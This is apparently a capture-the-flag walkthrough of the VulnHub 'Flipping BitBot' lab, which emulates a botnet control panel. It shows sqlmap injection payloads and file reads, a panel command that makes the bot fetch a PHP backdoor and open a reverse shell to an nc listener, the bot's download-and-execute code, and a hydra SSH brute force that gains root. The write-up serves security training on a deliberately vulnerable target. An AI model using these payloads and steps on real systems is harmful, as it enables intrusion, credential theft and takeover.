VulnHub Flipping BitBot

Another botnet c2, by the same author as Dexter. First scan shows http, so that’s where I started.

Starting Nmap 6.47 ( ) at 2016-08-18 16:16 EDT
Nmap scan report for
Host is up (0.0010s latency).
Not shown: 997 closed ports
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:BC:C2:B3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 16.97 seconds

Hiiting with a browser there is a message directing you to /bot/ That’s my first target, but how do I get there? Browsing to gets a 403 access denied. There is no robots.txt. Brute force?

$ ./ -w ../seclists/Discovery/Web_Content/Common_PHP_Filenames.txt --hc 404 > today.txt && cat today.txt
* Wfuzz 2.1.3 - The Web Bruteforcer *

Total requests: 5172

ID Response Lines Word Chars Request

00000: C=200 0 L 5 W 52 Ch "index.php"
00012: C=200 5 L 4 W 37 Ch "footer.php"
00020: C=200 0 L 0 W 0 Ch "config.php"
00021: C=200 53 L 166 W 1810 Ch "header.php"
00030: C=200 57 L 167 W 1769 Ch "admin.php"
00037: C=200 0 L 8 W 51 Ch "functions.php"
00115: C=200 57 L 167 W 1769 Ch "commands.php"
00190: C=200 0 L 0 W 0 Ch "submit.php"
01058: C=200 57 L 167 W 1769 Ch "stats.php"
04613: C=200 57 L 167 W 1769 Ch "bots.php"

Total time: 8.168884
Processed Requests: 5172
Filtered Requests: 5162
Requests/sec.: 633.1341

admin.php? don’t mind if I do. Start Burp to keep track, and dive into admin.php. Just a login.


A quick run with sqlmap has no results.

$ ./ -u "" --data="login=1&username=&password=“

Fairly lost again, I start reading my cheatsheets. Turns out there’s sqli on gate2.php. It accepts a parameter ‘hwid’ that is injectable. Here is a default request for that page with all the parameters, per the author’s discussion.

This is really easy to turn into a functional injection with sqlmap.

$ ./ -u ""
sqlmap identified the following injection point(s) with a total of 19156 HTTP(s) requests:
Parameter: hwid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: windows=Windows&country=US&hwid=101' AND 4125=4125 AND 'izYQ'='izYQ&connection=0&version=100&btc=all&sysinfo=Some Info

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: windows=Windows&country=US&hwid=101' AND SLEEP(5) AND 'nBhj'='nBhj&connection=0&version=100&btc=all&sysinfo=Some Info

Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: windows=Windows&country=US&hwid=-2982' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b7a6271,0x546d706e594d6c6e44686242444d616d624c4a636a6d4b68555641675276505a7a5243684b70795a,0x71626a7a71),NULL,NULL,NULL-- VFky&connection=0&version=100&btc=all&sysinfo=Some Info
[15:20:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.12
[15:20:36] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/’

I have access now as whatever the app runs, so what more info can I retrieve? At the very least a login to the control panel at admin.php.

./ -u "" --method=GET -p hwid --dbms=mysql --current-user --current-db
[15:35:21] [INFO] fetching current user
current user: 'root@localhost'
[15:35:21] [INFO] fetching current database
current database: 'bitbot'

./ -u "" --method=GET -p hwid --dbms=mysql --users --tables
Database: bitbot
[2 tables]
| bots |
| mining_configs |

Well, maybe. There doesn’t seem to be a users table or anything like that. Root in the db is not the same as logging into the application. I need a valid login to the c2. More cheatsheets, this time just the sqlmap documentation is enough.

sqlmap has a read local file option?!

$ ./ -u "" --method=GET -p hwid --dbms=mysql --file-read=/var/www/admin.php

[15:58:57] [INFO] fetching file: '/var/www/admin.php'
do you want confirmation that the remote file '/var/www/admin.php' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
[15:59:03] [INFO] the local file '/Users/warrenkopp/.sqlmap/output/' and the remote file '/var/www/admin.php' have the same size (9406 B)
files saved to [1]:
[*] /Users/warrenkopp/.sqlmap/output/ (same file)

[15:59:03] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/’

repeat for config.php

config_php_dumpNow I have login to the web application, next goal: interactive login to the server. There should be somewhere to inject code, execute commands, or something to get me in business. Well, there’s a command interface on the control panel. one of which executes a file from a url. That’s easy enough to manipulate.


It is easy enough to setup a local http server with python on port 8000, serving just my backdoor file, test.php

$ python -m SimpleHTTPServer
Serving HTTP on port 8000 ... - - [19/Aug/2016 16:30:37] "GET /test.php HTTP/1.1" 200 -

Then tell control panel to hit that file. The bot will execute, sending shell to waiting nc on attacker machine.


in turn gets us interactive shell as low privileged user.

$ nc -lvp 4444
Connection from
/bin/sh: 0: can't access tty; job control turned off
$ whoami
$ pwd

As an unprivileged user, next step is find the opportunity to elevate that privilege, and finish the game. First things first though, let me see what that bot file says.

$ cat /var/www/bot/ 
# -*- coding: utf-8 *-*
import httplib
import urllib
import threading
import time
import hashlib
import os

# Emulated bitbot by bwall (Brian Wallace @botnet_hunter)

class Bot():
    def __init__(self, version, country, windows, hwid, sysinfo, btc):
        self.version = version = country = windows
        self.hwid = hwid
        self.sysinfo = sysinfo
        self.btc = btc
        self.connection = 0
        self.removed = False

    def down(self, url):
        '''Download and execute binary'''
        m = hashlib.md5()
        filename = m.hexdigest()
        urllib.urlretrieve(url, "/var/www/bot/" + filename)
        os.system("python /var/www/bot/" + filename)

    def connect(self, logger):
        if self.connection == 0:
            logger("Bot %(hwid)s has started" % {'hwid': self.hwid})
        if self.removed:
        #connect to the C2
            conn = httplib.HTTPConnection("", timeout=5)
            params = urllib.urlencode({"version": self.version,
                "hwid": self.hwid,
                "sysinfo": self.sysinfo,
                "btc": self.btc,
                "connection": self.connection})
            conn.request("GET", "/gate2.php?" + params)
            response = conn.getresponse()
            data =
            if data != "":
                # Parse the data a bit
                data = data.replace('<\\\\\\>', '')
                if data == "REMOVE":
                    self.removed = True
                    logger("Bot %(hwid)s has uninstalled itself" % {
                        'hwid': self.hwid})
                if data.startswith("UPDATE "):
                    # Remove self and do the same process as DOWN
                    self.removed = True
                if data.startswith("DOWN "):
            self.connection = 1
            logger("Bot %(hwid)s has timed out when connecting to the C2" % {
                'hwid': self.hwid})

def Logger(message):
    print message

bot = Bot("1c", "US", "Linux", "101", "8 6970", "all the btcs")
while True:
    for i in range(0, 30):

I don’t see anything that gives me any leverage I don’t already have. Moving along, there’s this in the /home/botter directory:

$ ls /home
$ ls /home/botter
$ cat /home/botter/
ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' | passwd
$ ./home/botter/
/bin/sh: 8: ./home/botter/ Permission denied

So what does this do?
* read config of eth0
* find the inet Line
* drop the ipv6 Info
* print the second field(ip4 address) + a random number between 0 and 1 + …awk docs say substr takes to extract from a given string. I’m not following how this works. Time to test.

$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 08:00:27:bc:c2:b3  
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link
          RX packets:336 errors:0 dropped:0 overruns:0 frame:0
          TX packets:259 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:46157 (45.0 KiB)  TX bytes:39287 (38.3 KiB)
          Interrupt:10 Base address:0xd000 

$ ifconfig eth0 | grep inet
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link
$ ifconfig eth0 | grep inet | grep -v inet6
          inet addr:  Bcast:  Mask:

Running that a few dozen times shows me it’s only incrementing the last two digits between 0-99

$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'

Hijack barrabas‘ quicky python one-liner to dump a file full of these,

$ python -c 'for i in range(100): print "addr:"+str(i)' > hydrapw_bitbot.txt

Finally, use hydra to brute the ssh login.

except hydra needs a bunch of stuff that’s not on OS X by default. That’ll probably get it’s own article at some point, because it took me a good bit of googling and trials to get it running against ssh. Anyhow, in, and root.

$ hydra -l root -P hydrapw_bitbot.txt ssh
Hydra v8.4-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2016-08-19 22:13:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 100 login tries (l:1/p:100), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host:   login: root   password: addr:
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2016-08-19 22:13:35
$ ssh root@
root@'s password: 
Linux Bitbot 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@Bitbot:~# whoami
root@Bitbot:~# id
uid=0(root) gid=0(root) groups=0(root)